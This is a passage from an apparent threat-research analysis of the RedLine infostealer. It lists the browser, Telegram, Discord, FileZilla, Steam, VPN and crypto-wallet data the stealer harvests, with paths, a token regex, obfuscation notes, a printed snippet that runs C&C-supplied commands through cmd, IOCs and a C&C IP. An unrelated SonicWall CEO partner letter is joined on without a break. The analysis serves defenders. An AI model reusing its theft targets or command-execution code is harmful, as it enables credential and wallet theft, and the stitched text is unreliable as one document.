  1. asdk8jasd (BrowsersInfo)

Installed browser information is retrieved using registry entry ‘HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Clients\StartMenuInternet’ for 64bit machine and ‘HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet’ for 32bit machine. Name of the subkey, file path value of subkey ‘shell\open\command’ and version information from file path is assigned to NameOfBrowser, PathOfFile and Version respectively and added to InstalledBrowsers list into ScanResult structure.

 

ScanResult.ScanDetails.InstalledBrowsers
{
NameOfBrowser          :           registry subkey name
PathOfFile                  :           subkey value for ‘shell\open\command’
Version                     :           version information from the browser’s executable
}

 

  1. лыв7рыва2 (RAM size)

WMI query ‘SELECT TotalVisibleMemorySize FROM Win32_OperatingSystem’ is used to retrieve Random Access Memory (RAM) of the compromised machine. ‘Total of RAM’, ‘Graphic’ and RAM size is assigned to Name, HardType and Counter respectively and added to SystemHardwares list into ScanDetails structure.

 

ScanResult.ScanDetails.SystemHardwares
{
Name: “Total of RAM”
HardType = HardwareType.Graphic
Counter = SystemInfoHelper.TotalOfRAM()
}

 

  1. ылв92р34выа (SoftwaresInfo)

Installed software information is retrieved using registry entry ‘HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall’. Display name and version info is used to prepare and add value <DisplayName> [<DisplayVersion>] to Softwares list into ScanDetails structure.

 

ScanResult.ScanDetails.Softwares = SystemInfoHelper.ListOfPrograms();

 

  1. аловй (SecurityProductsInfo)

WMI queries for the namespace ‘ROOT\\SecurityCenter2’ or ‘ROOT\\SecurityCenter’ are used to retrieve the installed security products information.

  • SELECT * FROM AntivirusProduct
  • SELECT * FROM AntiSpyWareProduct
  • SELECT * FROM FirewallProduct

 

DisplayName is added to SecurityUtils list into ScanDetails structure.

 

  1. ыал8р45 (ProcessesInfo)

WMI query ‘SELECT * FROM Win32_Process Where SessionId=’Process.GetCurrentProcess().SessionId’’ is used to retrieve processes information. ProcessId, Name and CommandLine is concatenated to ‘ID: <ProcessId>, Name: <Name>, CommandLine: <CommandLine>’ and added to Processes list into ScanDetails structure.

 

ScanResult.ScanDetails.Processes = SystemInfoHelper.ListOfProcesses();

 

  1. ываш9р34 (InstalledLanguagesInfo)

Installed input languages is added to AvailableLanguages list into ScanDetails structure.

 

ScanResult.ScanDetails.AvailableLanguages = SystemInfoHelper.AvailableLanguages();

 

  1. длвап9345 (ScreenCapture)

If the ScanScreen flag is enabled, the screen is captured as a PNG image which is converted into bytes array and stored to Monitor field into ScanResult structure. The screen capture image can be used by threat actor to Identify, if the malware is running under any monitoring tool in a controlled environment.

 

  1. ывал8н34 (TelegramFiles)

If the ScanTelegram flag is enabled, processes are enumerated to find the ‘Telegram.exe’. If Telegram process is found, Telegram installation directory is extracted from executable’s path, else the default path ‘%APPDATA%\Telegram Desktop’ is considered as Telegram installation directory. The malware looks for 16 characters long subdirectories into the Telegram installation directory and adds them into the list of FileScannerArg along with path of ‘<Telegram Installation Directory>\tdata’.

FileScannerArg
{
Directory         :           “One of the scan directories”
Pattern            :           “*”
Recourisive     :           false
Tag                :           “sequence number”
}

 

The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, user profile name, application name, file name and file path and adds to the list of MessageClientFiles in ScanDetails structure.

ScannedFile
{
Body                :           content of the file
DirfOfFile          :           profile directory name
NameOfApplication   :           application name or the directory sequence
NameOfFile          :           file name
PathOfFile          :           null
}

 

  1. вал93тфыв (BrowsersData)

If the ScanBrowsers flag is enabled, directory paths from ScanningArgs.ScanChromeBrowsersPaths and ScanningArgs.ScanGeckoBrowsersPaths are retrieved and enumerated to gets user data storing files. The user data files are decrypted to retrieve and save user data into ScannedBrowser structures and added to the Browsers list into ScanDetails structure.

ScannedBrowser
{
Autofills          :           auto fill entries list
BrowserName :           browser name
BrowserProfile :           browser profile
CC                 :           list of cards (HolderName, Month, Number, Year)
Cookies           :           list of ScannedCookies (Expires, Host, Http, Name, Path, Secure, Value)
Logins             :           list of Accounts (Password, URL, Username)
}

 

  1. вашу0л34 (SensitiveFiles)

If ScanFiles flag is enabled, file paths from ScanFilesPaths list from ScanningArgs are retrieved to get attributes directory to search, patterns, recursive search and maximum file size (optional) separated by “|”.

ScanningArgs.ScanFilesPaths
{
"%userprofile%\\Desktop|*.txt,*.doc*,*key*,*wallet*,*seed*|0" string
"%userprofile%\\Documents|*.txt,*.doc*,*key*,*wallet*,*seed*|0"            string
}

Directory Patterns Recursive
%userprofile%\Desktop *.txt,*.doc*,*key*,*wallet*,*seed* 0
%userprofile%\Documents *.txt,*.doc*,*key*,*wallet*,*seed* 0

 

If the directory is “%DSK_32%”, the malware scans though all the logical drives recursively excluding file paths containing below sub paths. Default max file size of scanning any file is 3097152 bytes:

  • ‘\\Windows\\’
  • ‘\\Program Files\\’
  • ‘\\Program Files (x86)\\’
  • ‘\\Program Data\\’

The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file and adds to the list of ScannedFiles in ScanDetails structure

ScannedFile
{
Body                :           content of the file
DirfOfFile          :           file directory
NameOfApplication   :           null
NameOfFile          :           file name
PathOfFile          :           file path
}

 

  1. Навева (FileZillaCredentials)

If the ScanFTP flag is enabled, FileZilla files “%APPDATA%\FileZilla\recentservers.xml” and “%APPDATA%\FileZilla\sitemanager.xml” are examined to retrieve URL, port, username and password, and assigned to Account structure and added to FtpConnections into ScanDetails structure.

Account
{
URL            : FTP URL along with the port number
Username       : username
Password       : password
}

 

  1. ащы9р34 (DigitalWallets)

If the ScanWallets is enabled, digital currency wallets path including chromium-based browsers extension paths are added into FileScannerArg along with Patterns and Recoursive flag values.

browserExtensionsRule.SetPaths(settings.ScanChromeBrowsersPaths);
result.ScanDetails.ScannedWallets.AddRange(FileScanner.Scan(
new ArmoryRule(),
new AtomicRule(),
new CoinomiRule(),
new ElectrumRule(),
new EthRule(),
new ExodusRule(),
new GuardaRule(),
new Jx(),
new AllWalletsRule(),
browserExtensionsRule));

 

Directory Pattern Recursive Tag
%APPDATA%\Armory *.wallet false null
%APPDATA%\atomic * true null
%APPDATA%\Coinomi * true null
%APPDATA%\Ethereum\wallets * false null
%APPDATA%\Exodus *.json false null
%APPDATA%\Exodus\exodus.wallet * false null
%APPDATA%\Guarda * true null
%APPDATA%\com.liberty.jaxx * true null

 

Directory Pattern Recursive Tag
<ChromiumBrowsersDataDir>\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb * false <browser_name>_YoroiWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec * false <browser_name>_Tronlink
<ChromiumBrowsersDataDir>\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid * false <browser_name>_NiftyWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn * false <browser_name>_Metamask
<ChromiumBrowsersDataDir>\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc * false <browser_name>_MathWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad * false <browser_name>_Coinbase
<ChromiumBrowsersDataDir>\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp * false <browser_name>_BinanceChain
<ChromiumBrowsersDataDir>\Local Extension Settings\odbfpeeihdkbihmopkbjmoonfanlbfcl * false <browser_name>_BraveWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln * false <browser_name>_GuardaWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac * false <browser_name>_EqualWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne * false <browser_name>_JaxxxLiberty
<ChromiumBrowsersDataDir>\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi * false <browser_name>_BitAppWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj * false <browser_name>_iWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih * false <browser_name>_Wombat
<ChromiumBrowsersDataDir>\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh * false <browser_name>_AtomicWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm * false <browser_name>_MewCx
<ChromiumBrowsersDataDir>\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj * false <browser_name>_GuildWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig * false <browser_name>_SaturnWallet
<ChromiumBrowsersDataDir>\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec * false <browser_name>_RoninWallet

 

The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file path and adds to the list of ScannedFiles into ScanDetails structure.

 

  1. ыва83о4тфыв (DiscordToken)

If the ScanDiscord flag is enabled, directory ‘%appdata%\discord\Local Storage\leveldb’ with Pattern *.log, *.ldb and Recoursive flag as false is added into FileScannerArg.

 

The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file path, and adds to the list of GameChatFiles in ScanDetails. The file body is again scanned to match regular expression ‘ [A-Za-z\d]{24}\.[\w-]{6}\.[\w-]{27} to retrieve the discord token which is then replaced the file body to the ScannedFile structure.

ScannedFile
{
Body                            :           matching regular expression pattern in file content
DirfOfFile                    :           file directory
NameOfApplication   :           null
NameOfFile                 :           Tokens.txt
PathOfFile                   :           file path
}

 

  1. askd435

If the ScanSteam flag is enabled, the Steam installation path is retrieved from the registry entry ‘HKEY_CURRENT_USER\SOFTWARE\Valve\Steam’ and added into FileScannerArg along with Pattern and Recousive flag.

Directory Patterns Recursive
<SteamInstalltionPath> *ssfn* 0
<SteamInstalltionPath>\config *.vsdf 0

 

The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file path and adds to the list of GameLauncherFiles into ScanDetails structure.

 

  1. sdi845sa (VPNFiles)

If ScanVPN flag is enabled, directory path for OpenVPN and ProtonVPN are added into FileScannerArg. The malware has artifacts that shows, NordVPN files stealing is either being used in other variant or it is planned to be used in upcoming variant.

 

Directory Patterns Recursive
%USERPROFILE%\AppData\Roaming\OpenVPN Connect\profiles *ovpn* 0
%USERPROFILE%\\AppData\\Local\\ProtonVPN *.vsdf 0

 

The scanning of FileScannerArg involves searching for files matching the pattern and collecting file body, file directory, application name, file name and file path for OpenVPN and ProtonVPN and adds to the list Open and Proton into ScanDetails structure.

ScannedFile
{
Body                            :           file content
DirfOfFile                    :           null
NameOfApplication   :           null
NameOfFile                 :           name of file
PathOfFile                   :           file path
}

 

  1. asd44123

Primary screen size (width, height) is retrieved and assigned to Resolution field into ScanResult structure.

 

If the directory ‘%APPDATA%\Yandex\YaAddon’ exists on the compromised machine, it is considered that the malware already run before on the machine and SeenBefore field is set into ScanResult structure. If the directory is not found, SeenBefore field is reset and the directory ‘%APPDATA%\Yandex\YaAddon’ is created.

ScanResult.SeenBefore = SeenBefore();

 

The malware enumerates through the filled structures and replaces empty values with ‘UNKNOWN’.

 

String Obfuscation

Strings are broken into substring and characters to prevent string-based detections and static analysis. The malware also puts some garbage characters into the original string, which are replaced before using the string.

geoInfo.IP = Encoding.UTF8.GetString(new WebClient().DownloadData(new string(new char[21] {
'h', 't', 't', 'p', 's', ':', '/', '/', 'a', 'p',
'i', '.', 'i', 'p', 'i', 'f', 'y', '.', 'o', 'r',
'g'
}))).Replace("\n", "");

 

C&C Communication

RedLine sends the structure containing stolen data from the compromised machine using SOAP API and receives list of tasks containing TaskID, TaskArg, Action and DomainFilter from the C&C server.

 

public class UpdateTask
{
public int TaskID { get; set; }
public string TaskArg { get; set; }
public UpdateAction Action { get; set; }
public string DomainFilter { get; set; }
}

 

The malware has 5 action tasks but for the variant, RunPE task action is not supported.

public enum UpdateAction
{
Download,
RunPE,
DownloadAndEx,
OpenLink,
Cmd
}

Actions Commands

Cmd

Executes the TaskArg value using Command Prompt executable
System.Diagnostics.Process.Start(new ProcessStartInfo("cmd", "/C "+updateTask.TaskArg)
{
UseShellExecu[t]e = false,
CreateNoWindow = true
}).WaitForExit(30000);

Download

Retrieves download URL and file path from the TaskArg field, separated by “|”. File is downloaded from the URL and saved to the file path.

 

DownloadAndEx

Retrieves download URL and file path from the TaskArg field, separated by “|”. File is downloaded from the URL and executes by setting the current working directory to the downloaded file directory.

 

OpenLink

TaskArg is executed as a new process.

 

The malware sends the TaskID from UpdateTask to the C&C server after completing the action task on the compromised machine.

 

Indicators Of Compromise

Follina

20aa70539f31bd9cafba21a89b06857298f64f2cca97869e7cf6532927016877

 

Protection Layers

3354174f028a2682fa83d1b8bce2cf90fa39534f108f9902c2d5ecd644ad8421 (Layer 1)

846e9ae1f5cb837efc5a96ebfff3b846fa48433d19426b869c2bfbe80c90479a (Layer 2)

97024f17003dd3d31dab64c4d1b8251e50d428644eb59ed3692ad79ce42019cf (Layer 3, RunPE)

 

RedLine

4799408b9b05bdf02da7807a3e3e253f35fb2e57cc55e28cb8fe3b181825bb29

 

C&C Server

45.155.165.19:24150

 

References

https://www.proofpoint.com/us/blog/threat-insight/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign

https://github.com/NYAN-x-CAT/CSharp-RunPE

https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

 

A New Era of Partnering to Win

SonicWall Partners are at the core of our success. We’re continually improving products, services, support, and brand awareness.

After a couple of months now as President and CEO of SonicWall, I’ve had a chance to begin focusing on the core objectives that will continue to drive the company going forward. A primary focus of mine will be staying better aligned with you, our trusted partners. To that end, I’d like to offer the first of many updates on how we’re doing as a company, what to expect in the future, and how we’re tracking on goals we’ve set for ourselves.

Where We Are and Where We’re Going

SonicWall is in the midst of historic growth: We’ve experienced five consecutive quarters of double-digit growth, with both top- and bottom-line performance at or near historic highs.

At the core of our successes are the key contributions from our partner community. We’re seeing strong bid performance globally, with record levels of Deal Registration Create, Deal Registration Close, In-Quarter Create and In-Quarter Close. We’re unbelievably thankful for your incredible performance and continued dedication.

We continue to see growth in the SMB market, which aligns to our strategy of building on our leadership there. We’re also continuing our expansion into the enterprise market, with strong growth in 2022. Much of this increase is due to the tremendous success of our enterprise-class NSsp next-generation firewall. We’re now coming off our highest-performing quarter of all time for our NSsp firewalls.

The growth of NSsp and other offerings has been bolstered by the strength of SonicWall’s supply chain. In 2020, long before any wide-scale supply-chain disruption had occurred, SonicWall had begun modifying its products, revisiting internal processes and changing the way we work with suppliers.

This has allowed us to have product in stock when others didn’t. In partnership with you, last year alone we collectively drove a 33% increase in the number of new customers and a 45% increase in sales — all while fulfilling 95% of all orders within just three days.

Getting ahead of supply-chain disruption has also allowed us to realize supply chain and shipping cost advantages, which in turn has enabled us to continue to offer industry-leading TCO. While SonicWall has long focused on providing the best products at the best value, during this time of economic uncertainty, this has become an even greater differentiator.

Prior to 2020, SonicWall had already begun looking toward a future built around widespread remote work. Since then, we’ve been developing, refining and expanding our cloud product offerings, including our Cloud Edge Secure Access solution, our NSv virtual firewall and more. And our focus in this area is paying off, with SonicWall’s cloud evolution achieving 36% growth in 2022.

The drivers of SonicWall’s long-term plan include maintaining our sizeable SMB base, steadfast growth in the enterprise space, and continued expansion into next-generation cloud security. And these strategies will be underpinned by ongoing innovation as we continue to build on our Boundless Cybersecurity architecture.

How We’re Continually Improving Customer and Partner Support

During this time, we’ll continue to focus on growing our MSSP program. In early 2023, we’ll introduce an updated MSSP portal, which will provide greater value for our MSSP partners.  We’re also increasing our MSSP product offerings: stay tuned as we lean even further into that area and ensure that every product is aligned to our MSSPs.

Over the past couple years, you’ve emphasized the importance of customer and technical support. We’ve already begun making strides toward greater alignment in this area, both through our web support presence and through our one-on-one support.

We’ve continued to grow and refine our knowledgebase and self-service options. As of this writing, our self-service score is 19-1. In other words, for every 19 inquiries, only one turns into a phone call — the other 18 are sufficiently addressed via the knowledgebase and other online tools. (For context, 13-1 is viewed as best in class.)

As you know, this is a journey and not a destination, and we’ll continue to do our best here. In fact, some of our efforts to improve the user experience for web-based support are already bearing fruit. In August, the Association of Support Professionals (ASP) awarded SonicWall a special award for Best Search on a Support Website, the first time such an award had ever been given.

ASP's annual Best Support Website, awarded to SonicWall in 2022 for our work with our partners.

But because not all support tasks can be handled through online inquiry, we’ve also been investing heavily in our support call center. We aren’t just focused on adding more support resources, however — we’re also focused on supporting more partners and customers, which is key as we grow and expand. Among our support initiatives is the addition of local language support wherever possible, greatly increasing the breadth of our support program.

How We’re Building Brand Awareness

Not all support is after the sale, however — we’re aware that we can make your jobs easier by ensuring end users recognize SonicWall and our partners as thought leaders in the cybersecurity space. In July, we released the mid-year update to our 2022 SonicWall Cyber Threat Report. This report continues to set records, not only in number of downloads, but also in terms of media coverage and mentions in major articles and news stories.

The Threat Report also serves as a vehicle to highlight SonicWall’s threat performance, particularly our patented Real-Time Deep Memory Inspection (RTDMI™). Through the end of Q3 2022, this technology had discovered 373,756 new malware variants — a 22% year-to-date increase, and an average of 1,374 new variants per day.

These capabilities have also been validated by third-party testing — not just once, but seven times in a row. For the past seven consecutive quarters, ICSA Labs has evaluated a SonicWall NSa 3600 equipped with Capture ATP with RTDMI. And in every test cycle, the solution identified 100% of new and little-known threats, some only hours old.

SonicWall is currently the only participating vendor to achieve seven straight 100% threat detection scores, and we’ve now had seven consecutive quarters with the highest overall score among all participants.

Our Partners Are at the Core

But no matter how strong our portfolio is, at SonicWall we know we’re only as strong as our partner community. That’s why we’re working toward increased partner communication and collaboration on every front.

Gen 7 have seen an eight- to nine-times improvement in their top line.

We’ll continue to focus on expanding our technical tracks, as well as our SonicWall University offerings, which have been incredibly successful. We’ve found that partners who take just three hours of SonicWall U training on topics such as Gen 7 have seen an eight- to nine-times improvement in their top line.

But for those who may not have a chance to complete a full training module right away, we’re introducing a new series of 15-minute videos that will serve as a supplement to our SonicWall U training. These videos will provide a bite-sized look at a particular topic and can be shared across your team and with customers. In our GTM revamp of the SonicWall sales team four years ago, we moved to weekly mandatory training for the entire team — something even I continue to do — every week.

With the COVID-19 pandemic easing a bit in many places, we’ll be ramping up our in-person training and will continue reintroducing our regional roadshows. Our Sales Enablement team members have begun meeting partners and customers in person where appropriate, as well.

But as our Sales Enablement team hits the road, we recognize they may be unavailable while they’re in transit or with customers. To maintain a Sales Enablement presence that’s consistently available, we’ve begun investing in virtual SES. These team members are equipped with a variety of tools and will be available during working hours in case you need a quick response.

We’re also in the process of revamping our SonicWall Secure First Partner Program. We’ll be spending a considerable amount of time, effort and investment into improving this program from a partner standpoint, to offer high-quality training and to reward the commitment partners are making in SonicWall.

Like so many of our other initiatives, this one is built around acknowledging the work that our partners put in and continuing to learn how we can better align and better understand your needs and pain points.

Going forward, my key priority is ensuring we’re listening across the company to our partners — getting your input and soliciting your opinion to shape our initiatives and offerings, as opposed to just providing updates. We’ve always strived to be a partner-centric company, but we want to continue to grow in how we can better support and enable our partners across every function and team.